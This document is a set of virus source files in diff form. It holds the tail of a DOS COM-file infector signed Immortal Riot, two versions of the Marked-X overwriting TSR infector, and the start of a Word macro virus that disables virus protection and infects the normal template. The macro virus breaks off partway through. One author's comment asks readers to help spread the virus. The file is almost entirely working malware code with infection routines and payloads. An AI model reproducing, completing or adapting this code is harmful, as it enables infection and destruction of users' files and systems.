; counter to 3
|
||||||
|
; for D-new run.
|
||||||
|
|
||||||
|
call traverse_fcn ; Do all the work
|
||||||
|
|
||||||
|
pop si ; Restore offset num_infec
|
||||||
|
cmp byte ptr [si], waves ; 10 infection waves?
|
||||||
|
jge Go_Psycho ; If so, activate
|
||||||
|
|
||||||
|
mov ah, 2Ah ; Get date
|
||||||
|
int 21h
|
||||||
|
cmp dx, infec_date ; Is it 06/06?
|
||||||
|
jz Go_Psycho ; If so, activate
|
||||||
|
|
||||||
|
Go_Error:
|
||||||
|
jmp quit ; And then quit
|
||||||
|
|
||||||
|
Go_Psycho:
|
||||||
|
jmp Psycho ; Yeah, right!
|
||||||
|
|
||||||
|
origattr db 0
|
||||||
|
origtime dw 0
|
||||||
|
origdate dw 0
|
||||||
|
filesize dw 0 ; Size of the uninfected file
|
||||||
|
|
||||||
|
oldhandle dw 0
|
||||||
|
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
;D-Traversal function begins
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
traverse_fcn proc near
|
||||||
|
push bp ; Create stack frame
|
||||||
|
mov bp,sp
|
||||||
|
sub sp,44 ; Allocate space for DTA
|
||||||
|
push si
|
||||||
|
|
||||||
|
jmp infect_directory
|
||||||
|
In_fcn:
|
||||||
|
mov ah,1Ah ;Set DTA
|
||||||
|
lea dx,word ptr [bp-44] ;to space allotted
|
||||||
|
int 21h ;Do it now, do it hard!
|
||||||
|
|
||||||
|
mov ah, 4Eh ;Find first
|
||||||
|
mov cx,16 ;Directory mask
|
||||||
|
mov dx,offset dir_mask ;*.*
|
||||||
|
add dx,offset_off
|
||||||
|
int 21h
|
||||||
|
jmp short isdirok
|
||||||
|
gonow:
|
||||||
|
cmp byte ptr [bp-14], '.' ;Is first char == '.'?
|
||||||
|
je short donext ;If so, loop again
|
||||||
|
lea dx,word ptr [bp-14] ;else load dirname
|
||||||
|
mov ah,3Bh ;and changedir there
|
||||||
|
int 21h ;Yup, yup
|
||||||
|
jc short donext ;Do next if invalid
|
||||||
|
mov si, offset nest ;Else increment nest
|
||||||
|
add si, offset_off
|
||||||
|
inc word ptr [si] ;nest++
|
||||||
|
call near ptr traverse_fcn ;recurse directory
|
||||||
|
donext:
|
||||||
|
lea dx,word ptr [bp-44] ;Load space allocated for DTA addr
|
||||||
|
mov ah,1Ah ;and set DTA to it
|
||||||
|
int 21h ;cause it might have changed
|
||||||
|
|
||||||
|
mov ah,4Fh ;Find next
|
||||||
|
int 21h
|
||||||
|
isdirok:
|
||||||
|
jnc gonow ;If OK, jmp elsewhere
|
||||||
|
mov si, offset nest
|
||||||
|
add si, offset_off
|
||||||
|
cmp word ptr [si], 0 ;If root directory (nest == 0)
|
||||||
|
jle short cleanup ; Quit
|
||||||
|
dec word ptr [si] ;Else decrement nest
|
||||||
|
mov dx,offset back_dir ;'..'
|
||||||
|
add dx, offset_off
|
||||||
|
mov ah,3Bh ;Change directory
|
||||||
|
int 21h ;to previous one
|
||||||
|
cleanup:
|
||||||
|
pop si
|
||||||
|
mov sp,bp
|
||||||
|
pop bp
|
||||||
|
ret
|
||||||
|
traverse_fcn endp
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
;D-Traversal function ends
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
Goto_Error:
|
||||||
|
jmp Error
|
||||||
|
|
||||||
|
enuff_for_now:
|
||||||
|
;Set nest to nil
|
||||||
|
mov si, offset nest ;in order to
|
||||||
|
add si, offset_off ;halt the D-Cool
|
||||||
|
mov word ptr [si], 0 ;traversal fcn
|
||||||
|
jmp short cleanup
|
||||||
|
return_to_fcn:
|
||||||
|
jmp short In_fcn ;Return to traversal function
|
||||||
|
|
||||||
|
infect_directory:
|
||||||
|
mov ah, 1Ah ;Set DTA
|
||||||
|
mov dx, offset DTA ;to DTA struct
|
||||||
|
add dx, offset_off
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
find_first_COM:
|
||||||
|
mov ah, 04Eh ;Find first file
|
||||||
|
mov cx, 0007h ;Any file
|
||||||
|
mov dx, offset com_mask ;DS:[DX] --> filemask
|
||||||
|
add dx, offset_off
|
||||||
|
int 21h ;Fill DTA (hopefully)
|
||||||
|
jc return_to_fcn ;<Sigh> Error #E421:0.1
|
||||||
|
jmp check_if_COM_infected ;I<___-Cool! Found one!
|
||||||
|
|
||||||
|
find_next_file2:
|
||||||
|
mov si, offset infec_now ;Another loop,
|
||||||
|
add si, offset_off ;Another infection
|
||||||
|
dec byte ptr [si] ;Infected three?
|
||||||
|
jz enuff_for_now ;If so, exit
|
||||||
|
find_next_file:
|
||||||
|
mov ah,4Fh ;Find next
|
||||||
|
int 21h
|
||||||
|
jc return_to_fcn
|
||||||
|
|
||||||
|
check_if_COM_infected:
|
||||||
|
mov si, offset DTA + dta_filename + 6 ; look at 7th letter
|
||||||
|
add si, offset_off
|
||||||
|
cmp byte ptr [si], 'D' ;??????D.COM?
|
||||||
|
jz find_next_file ;Don't kill COMMAND.COM
|
||||||
|
|
||||||
|
mov ax,3D00h ;Open channel read ONLY
|
||||||
|
mov dx, si ;Offset Pathname in DX
|
||||||
|
sub dx, 6
|
||||||
|
int 21h ;Open NOW!
|
||||||
|
jc find_next_file ;If error, find another
|
||||||
|
|
||||||
|
xchg bx,ax ;bx is now handle
|
||||||
|
mov ah,3Fh ;Save
|
||||||
|
mov cx, part1_size ;first part
|
||||||
|
mov dx, offset buffer ;to buffer
|
||||||
|
add dx, offset_off ;to be restored
|
||||||
|
push dx
|
||||||
|
int 21h ;later
|
||||||
|
|
||||||
|
pop si ;Check for virus ID bytes
|
||||||
|
;in the buffer
|
||||||
|
push si
|
||||||
|
lodsw ;DS:[SI] -> AX
|
||||||
|
cmp ax, virus_marker ;Compare it
|
||||||
|
jnz infect_it ;infect if ID #1 not found
|
||||||
|
|
||||||
|
lodsw ;Check next two bytes
|
||||||
|
cmp ax, virus_marker2 ;Compare it
|
||||||
|
jnz infect_it ;infect if ID #2 not found
|
||||||
|
pop si
|
||||||
|
bomb_out:
|
||||||
|
mov ah, 3Eh ;else close the file
|
||||||
|
int 21h ;and go find another
|
||||||
|
jmp find_next_file ;'cuz it's already infected
|
||||||
|
|
||||||
|
Signature db 'Immortal Riot'
|
||||||
|
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
;D-Good Stuff - Infection routine
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
infect_it:
|
||||||
|
; save fileattr
|
||||||
|
pop si
|
||||||
|
add si, offset DTA + DTA_fileattr - offset buffer
|
||||||
|
mov di, si
|
||||||
|
add di, offset origattr - offset DTA - DTA_fileattr
|
||||||
|
movsb ;DS:[SI] -> ES:[DI]
|
||||||
|
movsw ;Save origtime
|
||||||
|
movsw ;Save origdate
|
||||||
|
movsw ;Save filesize
|
||||||
|
;Only need LSW
|
||||||
|
;because COM files
|
||||||
|
;can only be up to
|
||||||
|
;65535 bytes long
|
||||||
|
cmp word ptr [si - 2], part1_size
|
||||||
|
jl bomb_out ;is less than 8 bytes.
|
||||||
|
|
||||||
|
do_again:
|
||||||
|
mov ah, 2Ch ;get time
|
||||||
|
int 21h
|
||||||
|
add dl, dh ;1/100 sec + 1 sec
|
||||||
|
jz do_again ;Don't want orig strain!
|
||||||
|
|
||||||
|
mov si, offset encrypt_val
|
||||||
|
add si, offset_off
|
||||||
|
mov byte ptr [si], dl ;255 mutations
|
||||||
|
|
||||||
|
mov ax, 4301h ;Set file attributes
|
||||||
|
xor cx, cx ;to nothing
|
||||||
|
mov dx, si ;filename in DTA
|
||||||
|
add dx, offset DTA + DTA_filename - offset encrypt_val
|
||||||
|
int 21h ;do it now, my child
|
||||||
|
|
||||||
|
mov ah, 3Eh ;Close file
|
||||||
|
int 21h ;handle in BX
|
||||||
|
|
||||||
|
mov ax, 3D02h ;Open file read/write
|
||||||
|
int 21h ;Filename offset in DX
|
||||||
|
jc bomb_out ;Damn! Probs
|
||||||
|
|
||||||
|
mov di, dx
|
||||||
|
add di, offset oldhandle - offset DTA - DTA_filename
|
||||||
|
;copy filehandle to
|
||||||
|
;oldhandle
|
||||||
|
stosw ;AX -> ES:[DI]
|
||||||
|
xchg ax, bx ;file handle in BX now
|
||||||
|
|
||||||
|
mov ah, 40h ;Write DS:[DX]->file
|
||||||
|
mov cx, part1_size - 4 ;number of bytes
|
||||||
|
mov dx, 0100h ;where code starts
|
||||||
|
int 21h ;(in memory)
|
||||||
|
|
||||||
|
mov ah, 40h
|
||||||
|
mov si, di ; mov si, offset filesize
|
||||||
|
add si, offset filesize - 2 - offset oldhandle
|
||||||
|
add word ptr [si], 0100h
|
||||||
|
mov cx, 2
|
||||||
|
mov dx, si
|
||||||
|
int 21h ;write jmp offset
|
||||||
|
|
||||||
|
mov ax, [si] ;AX = filesize
|
||||||
|
sub ax, 0108h
|
||||||
|
|
||||||
|
add si, offset buffer3 - offset filesize
|
||||||
|
push si
|
||||||
|
mov word ptr [si], ax
|
||||||
|
mov ah, 40h
|
||||||
|
mov cx, 2
|
||||||
|
mov dx, si
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ax, 4202h ;move file ptr
|
||||||
|
xor cx, cx ;from EOF
|
||||||
|
xor dx, dx ;offset cx:dx
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
call copy_rest_stuff
|
||||||
|
|
||||||
|
pop si
|
||||||
|
add si, offset oldhandle - offset buffer3
|
||||||
|
mov bx, word ptr [si]
|
||||||
|
mov ax, 5701h ;Restore
|
||||||
|
add si, offset origtime - offset oldhandle
|
||||||
|
mov cx, word ptr [si] ;old time and
|
||||||
|
add si, 2
|
||||||
|
mov dx, word ptr [si] ;date
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah, 3Eh ;Close file
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ax, 4301h ;Restore file
|
||||||
|
xor ch, ch
|
||||||
|
add si, offset origattr - offset origtime - 2
|
||||||
|
mov cl, byte ptr [si] ;attributes
|
||||||
|
mov dx, si ; filename in DTA
|
||||||
|
add dx, offset DTA + DTA_filename - offset origattr
|
||||||
|
int 21h ;do it now
|
||||||
|
|
||||||
|
jmp find_next_file2
|
||||||
|
|
||||||
|
GotoError:
|
||||||
|
jmp error
|
||||||
|
|
||||||
|
Psycho:
|
||||||
|
; Check if already installed
|
||||||
|
push es
|
||||||
|
mov byte ptr cs:[100h],0 ;Initialize fingerprint
|
||||||
|
xor bx, bx ;Zero BX for start
|
||||||
|
mov ax, cs
|
||||||
|
Init1: inc bx ;Increment search segment
|
||||||
|
mov es, bx ;value
|
||||||
|
cmp ax, bx ;Not installed if we reach
|
||||||
|
je Not_Installed_Yet ;the current segment
|
||||||
|
mov si, 100h ;Search segment for
|
||||||
|
mov di, si ;fingerprint in first
|
||||||
|
mov cx, 4 ;four bytes
|
||||||
|
repe cmpsb ;Compare
|
||||||
|
jne init1 ;If not equal, try another
|
||||||
|
jmp Quit_Init ;else already installed
|
||||||
|
|
||||||
|
Not_Installed_Yet:
|
||||||
|
pop es
|
||||||
|
mov word ptr cs:[Counter], init_delay
|
||||||
|
mov word ptr cs:[D_Mess], 1
|
||||||
|
|
||||||
|
; Copy interrupt handler to beginning of code
|
||||||
|
mov si, offset _int_08_handler
|
||||||
|
add si, offset_off
|
||||||
|
mov di, Int_08_Start
|
||||||
|
mov cx, int_end - int_start
|
||||||
|
rep movsb ;DS:[SI]->ES:[DI]
|
||||||
|
|
||||||
|
mov ax, 3508h ;Get int 8 handler
|
||||||
|
int 21h ;put in ES:BX
|
||||||
|
|
||||||
|
mov cs:[duh], bx ;Save old handler
|
||||||
|
mov cs:[duh+2], es ;in cs:[104h]
|
||||||
|
|
||||||
|
mov ax, 2508h ;Install new handler
|
||||||
|
mov dx, Int_08_Start ;from DS:DX
|
||||||
|
int 21h ;Do it
|
||||||
|
|
||||||
|
push es
|
||||||
|
mov ax, ds:[2Ch] ;Deallocate program
|
||||||
|
mov es, ax ;environment block
|
||||||
|
mov ah, 49h
|
||||||
|
int 21h
|
||||||
|
pop es
|
||||||
|
|
||||||
|
mov ax, 3100h ;TSR
|
||||||
|
mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
|
||||||
|
|
||||||
|
; these two lines are the "long" line above..pls, but ‚m together..
|
||||||
|
; mov dx, (offset int_end - offset int_start + offset part1_end -
|
||||||
|
; offset Code + 4 + 15 + 128) SHR 4
|
||||||
|
|
||||||
|
|
||||||
|
int 21h
|
||||||
|
int 20h ;In case of error
|
||||||
|
Quit_Init:
|
||||||
|
pop es
|
||||||
|
Error: ;On error, quit
|
||||||
|
Quit:
|
||||||
|
mov ah, 3Bh ;Change directory
|
||||||
|
mov dx, offset root_dir ;to the root dir
|
||||||
|
add dx, offset_off
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,3Bh ;Change directory
|
||||||
|
;Return to orig dir
|
||||||
|
add dx, offset orig_path - offset root_dir
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
; Copy buffer back to beginning of file
|
||||||
|
mov si, dx
|
||||||
|
add si, offset buffer2 - offset orig_path
|
||||||
|
mov di, 0100h
|
||||||
|
mov cx, part1_end - part1_start
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
mov di, 0100h
|
||||||
|
jmp di
|
||||||
|
int_start:
|
||||||
|
_int_08_handler proc far
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push si
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
pushf
|
||||||
|
dec word ptr CS:[Counter] ;Counter
|
||||||
|
jnz QuitNow
|
||||||
|
;ACTIVATION!!!
|
||||||
|
mov word ptr CS:[Counter], delay ;Reset counter
|
||||||
|
|
||||||
|
; Set up DS & ES to equal CS
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
|
||||||
|
mov si, offset Messages - offset int_start + int_08_start
|
||||||
|
mov cx, cs:D_Mess
|
||||||
|
xor ah, ah
|
||||||
|
LoopY_ThingY:
|
||||||
|
lodsb ;DS:SI -> AL
|
||||||
|
add si, ax ;ES:BP -> Next message to display
|
||||||
|
loop LoopY_ThingY
|
||||||
|
|
||||||
|
lodsb
|
||||||
|
xchg si, bp
|
||||||
|
|
||||||
|
xor cx, cx
|
||||||
|
mov cl, al ;Length of string
|
||||||
|
mov ax, 1300h ;
|
||||||
|
mov bx, 0070h ;Page 0, inverse video
|
||||||
|
xor dx, dx ;(0,0)
|
||||||
|
int 10h ;Display ES:BP
|
||||||
|
inc word ptr cs:[D_Mess]
|
||||||
|
cmp word ptr cs:[D_Mess], num_messages
|
||||||
|
jnz Sigh
|
||||||
|
mov word ptr cs:[D_Mess], 1
|
||||||
|
|
||||||
|
Sigh: mov cx, 30h
|
||||||
|
Sigh2: push cx
|
||||||
|
mov cx, 0FFFFh
|
||||||
|
DelayX: loop DelayX
|
||||||
|
pop cx
|
||||||
|
loop Sigh2
|
||||||
|
xchg si, bp
|
||||||
|
QuitNow:
|
||||||
|
popf
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
pop si
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
jmp dword ptr CS:duh
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
; Please don't just change the notes here included in the virus, and
|
||||||
|
; claim that it's your production. I know this isn't mine, but afterall,
|
||||||
|
; you could atleast say that I "renaissanced" it. Cuz mane people actually
|
||||||
|
; scans their programs nowdays (..or atleast here..), which makes it
|
||||||
|
; quite stupid to spread a virus which scan etc can find. And well, I'd
|
||||||
|
; like to get this little shit a bit spread..can you get it for me? :)..
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
|
||||||
|
Messages db 0
|
||||||
|
db 15, 'Maria K lives..' ; She ain't dead..
|
||||||
|
db 21, 'Somewhere in my heart..' ; That's truh..huh?
|
||||||
|
db 22, 'Somewhere in Sweden..' ; She lives here!
|
||||||
|
db 26, 'I might be insane..' ; I might be that..
|
||||||
|
db 38, 'But the society to blame..' ; Might be true....
|
||||||
|
db 40, 'The Unforgiven / Immortal Riot' ; That's me....
|
||||||
|
|
||||||
|
_int_08_handler endp
|
||||||
|
int_end:
|
||||||
|
part2_end:
|
||||||
|
|
||||||
|
CODE ends
|
||||||
|
end part1_start
|
||||||
|
|
||||||
|
; Greetings goes out to: Raver, Metal Militia, Scavenger,
|
||||||
|
; and of-cuz a mega Greeting to Maria K !..
|
||||||
@@ -0,0 +1,109 @@
|
|||||||
|
; Virusname : Marked-X
|
||||||
|
; Virusauthor: Metal Militia
|
||||||
|
; Virusgroup : Immortal Riot
|
||||||
|
; Origin : Sweden
|
||||||
|
;
|
||||||
|
; It's a TSR, overwriting infector on files executed. If it's the
|
||||||
|
; twenty-first of any month it'll print a note and beep one thousand
|
||||||
|
; times. It also sets time/date to 00-00-00 so nothing will be shown
|
||||||
|
; in the fields when you take a "dir". It'll print a faked note when
|
||||||
|
; it goes into memory aswell saying they executed the file's not there.
|
||||||
|
; Urmm!.. Anyhow, enjoy Insane Reality #4!
|
||||||
|
;
|
||||||
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
; MARKED-X
|
||||||
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
|
||||||
|
virus segment ; segment's and shit
|
||||||
|
assume cs:virus,ds:virus
|
||||||
|
org 100h
|
||||||
|
start: mov ah,2ah
|
||||||
|
int 21h
|
||||||
|
cmp dl,21
|
||||||
|
je happy_happy_joy_joy
|
||||||
|
|
||||||
|
mov ah,9h ; Print the faked
|
||||||
|
mov dx,offset note ; note.. (bad commie or filename)
|
||||||
|
int 21h
|
||||||
|
jmp makemegotsr
|
||||||
|
|
||||||
|
happy_happy_joy_joy:
|
||||||
|
mov ah,9h ; Print the virus note
|
||||||
|
mov dx,offset society ; to show that we're here
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov cx,1000 ; Print 1000
|
||||||
|
mov ax,0e07h ; "beep-letters"
|
||||||
|
beeper:
|
||||||
|
int 10h ; to screen
|
||||||
|
loop beeper ; (results in [ofcause] 1000 beepies)
|
||||||
|
|
||||||
|
makemegotsr:
|
||||||
|
jmp tsrdata ; Celebrate! now put us as a TSR in memory
|
||||||
|
new21: pushf ; Pushfar
|
||||||
|
cmp ah,4bh ; Is a file being run?
|
||||||
|
jz infect ; If so, infect it
|
||||||
|
jmp short end21 ; If not, back to old int21 vector
|
||||||
|
|
||||||
|
infect: mov ax,4301h ; Set attrib's to zero, keines, finito
|
||||||
|
and cl,0feh
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ax,3d02h ; Open file
|
||||||
|
int 21h
|
||||||
|
mov bx,ax ; or.. xchg ax,bx.. but that doesn't work here
|
||||||
|
push ax ; Push all
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push ds
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov ax,4200h ; Move to beginning (?)
|
||||||
|
xor cx,cx
|
||||||
|
cwd
|
||||||
|
int 21h
|
||||||
|
mov cx,offset endvir-100h ; What to write
|
||||||
|
mov ah,40h ; Write it
|
||||||
|
mov dx,100h ; Offset start
|
||||||
|
int 21h
|
||||||
|
cwd ; set date/time
|
||||||
|
xor cx,cx ; to zero (00-00-00)
|
||||||
|
|
||||||
|
mov ax,5701h ; do that
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,3eh ; close file
|
||||||
|
int 21h
|
||||||
|
x21: pop ds ; pop all
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
end21: popf ; pop far
|
||||||
|
db 0eah ; Jmp far (?)
|
||||||
|
old21 dw 0,0 ; Where to store the old INT21
|
||||||
|
data db 'Marked-X' ; Virus name
|
||||||
|
db 'Will we ever learn to talk with eachother?' ; Virus poem
|
||||||
|
db '(c) Metal Militia/Immortal Riot' ; Virus author
|
||||||
|
society db 'In any country, prison is where society sends it''s',0dh,0ah
|
||||||
|
db 'failures, but in this country society itself is faily',0dh,0ah
|
||||||
|
db '$' ; Information note
|
||||||
|
note db 'Bad command or filename',0dh,0ah
|
||||||
|
db '$' ; Fake note
|
||||||
|
tsrdata:
|
||||||
|
mov ax,3521h ; Hook int21
|
||||||
|
int 21h
|
||||||
|
mov word ptr cs:old21,bx ; Where to but it
|
||||||
|
mov word ptr cs:old21+2,es
|
||||||
|
mov dx,offset new21 ; Where's our to be called
|
||||||
|
mov ax,2521h ; Fix it
|
||||||
|
int 21h
|
||||||
|
push cs ; push it
|
||||||
|
pop ds ; pop it
|
||||||
|
mov dx,offset endvir ; Put all of us in memory
|
||||||
|
int 27h ; Do it, TSR (terminate & stay resident)
|
||||||
|
endvir label byte ; End of file
|
||||||
|
virus ends
|
||||||
|
end start
|
||||||
@@ -0,0 +1,103 @@
|
|||||||
|
; Name: Marked-X
|
||||||
|
; Author: Metal Militia/Immortal Riot
|
||||||
|
; Resident: Yes
|
||||||
|
; Encryption: No
|
||||||
|
virus segment
|
||||||
|
assume cs:virus, ds:virus
|
||||||
|
org 100h
|
||||||
|
start:
|
||||||
|
mov ah,2ah ; Function 2Ah: Get System Date
|
||||||
|
int 21h ; Retrieve date
|
||||||
|
cmp dl,21 ; DL = Date ( tests against 21st )
|
||||||
|
je Payload ; Its time for the payload, 21st of month
|
||||||
|
mov ah,9h ; Function 09h: Print String
|
||||||
|
mov dx,offset note ; Location of decoy note
|
||||||
|
int 21h ; Explains why the file will not run.
|
||||||
|
jmp Go_TSR ; Time to go TSR
|
||||||
|
Payload:
|
||||||
|
; The test at the beginning proves it to be the 21st, now to
|
||||||
|
; drop a bomb on victim.
|
||||||
|
; Prints the payload message to announce wtf is going on.
|
||||||
|
mov ah,9h ; Function 09h: Print String to Standard output
|
||||||
|
mov dx,offset society ; Its the message
|
||||||
|
int 21h ; Tells DOS to announce our presence
|
||||||
|
mov cx,1000 ; Print 1000 times
|
||||||
|
mov ax,0E07h ; Function 0Eh: Teletype output
|
||||||
|
; 07h = The bell character, makes a beep!
|
||||||
|
beeper:
|
||||||
|
int 10h ; Video functions
|
||||||
|
loop beeper ; Beeps 1000h times, The count in CX
|
||||||
|
Go_TSR:
|
||||||
|
jmp tsrdata ; Celebrate! now put us as a TSR in memory
|
||||||
|
new21:
|
||||||
|
pushf ; Pushes the Flags Register
|
||||||
|
cmp ah,4bh ; Function 4Bh: Execute program
|
||||||
|
jz infect ; If a file is being run, infect it.
|
||||||
|
jmp short end21 ; If a file is not being run then we
|
||||||
|
; must head back to the old INT 21h.
|
||||||
|
infect:
|
||||||
|
mov ax,4301h ; Function 4301h: Set Attributes
|
||||||
|
and cl,0feh ; Keeps all File attributes 'cept read-only
|
||||||
|
int 21h ; Makes the file writeable
|
||||||
|
mov ax,3d02h ; Function 3D02h: Open File for Read/Write access
|
||||||
|
int 21h
|
||||||
|
mov bx,ax ; Puts file handle in BX
|
||||||
|
push ax ; Push all
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push ds
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov ax,4200h ; Move to beginning of victim file
|
||||||
|
xor cx,cx
|
||||||
|
cwd
|
||||||
|
int 21h
|
||||||
|
mov cx,offset endvir-100h ; Length of area to write
|
||||||
|
mov ah,40h ; Function 40h: Write to file
|
||||||
|
mov dx,100h ; Start of Virus
|
||||||
|
int 21h
|
||||||
|
cwd ; Set Date/Time
|
||||||
|
xor cx,cx ; to zero (00-00-00)
|
||||||
|
mov ax,5701h
|
||||||
|
int 21h
|
||||||
|
mov ah,3eh ; Close Victim file
|
||||||
|
int 21h
|
||||||
|
x21:
|
||||||
|
pop ds ; pop all ; Restores all registers
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
end21:
|
||||||
|
popf ; Pops the flags register to keep it unaltered
|
||||||
|
db 0eah ; Jumps Far to the old Int 21h handler
|
||||||
|
old21 dw 0,0 ; Where to store the old INT21
|
||||||
|
data_1 db 'Marked-X' ; Virus name
|
||||||
|
db 'Will we ever learn to talk with eachother?' ; Virus poem
|
||||||
|
db '(c) Metal Militia/Immortal Riot' ; Virus author
|
||||||
|
society db 'In any country, prison is where society sends it''s',0dh,0ah
|
||||||
|
db 'failures, but in this country society itself is faily',0dh,0ah
|
||||||
|
db '$' ; Information note
|
||||||
|
note db 'Bad command or filename',0dh,0ah
|
||||||
|
db '$' ; Fake note
|
||||||
|
tsrdata:
|
||||||
|
mov ax,3521h ; Function 35??h: Get Interrupt Vector
|
||||||
|
; AL = INT#
|
||||||
|
; Returns ES:BX of old Interrupt vector
|
||||||
|
int 21h ; Find out where INT 21h goes
|
||||||
|
mov cs:[old21],bx ; Places the Old INT 21h vector into
|
||||||
|
mov cs:[old21+2],es ; its proper place.
|
||||||
|
mov dx,offset new21 ; Insertion Point of New INT 21h
|
||||||
|
mov ax,2521h ; Function 25??h: Set new Int Vector
|
||||||
|
; AL = INT #
|
||||||
|
; Makes DS:DX new INT Vector
|
||||||
|
int 21h ; Coolness
|
||||||
|
push cs ; CS = Code segment that the PSP of TSR
|
||||||
|
; progge is located in.
|
||||||
|
pop ds ; Copy that into DS
|
||||||
|
mov dx,offset endvir ; Put all of us in memory
|
||||||
|
int 27h ; Do it, TSR (terminate & stay resident)
|
||||||
|
endvir label byte ; End of file
|
||||||
|
virus ends
|
||||||
|
end start
|
||||||
@@ -0,0 +1,126 @@
|
|||||||
|
Private Sub Document_Close()
|
||||||
|
|
||||||
|
On Error Resume Next
|
||||||
|
|
||||||
|
Const Marker = "<- this is a marker!"
|
||||||
|
|
||||||
|
'Declare Variables
|
||||||
|
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
|
||||||
|
Dim ad, nt As Object
|
||||||
|
Dim OurCode, UserAddress, LogData, LogFile As String
|
||||||
|
|
||||||
|
'Initialize Variables
|
||||||
|
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
|
||||||
|
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
|
||||||
|
|
||||||
|
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
|
||||||
|
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
|
||||||
|
|
||||||
|
|
||||||
|
'Switch the VirusProtection OFF
|
||||||
|
Options.VirusProtection = False
|
||||||
|
|
||||||
|
|
||||||
|
If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
|
||||||
|
|
||||||
|
If DocumentInfected = True Then
|
||||||
|
LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
|
||||||
|
ElseIf NormalTemplateInfected = True Then
|
||||||
|
LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
|
||||||
|
End If
|
||||||
|
|
||||||
|
LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
|
||||||
|
|
||||||
|
For I = 1 To 4
|
||||||
|
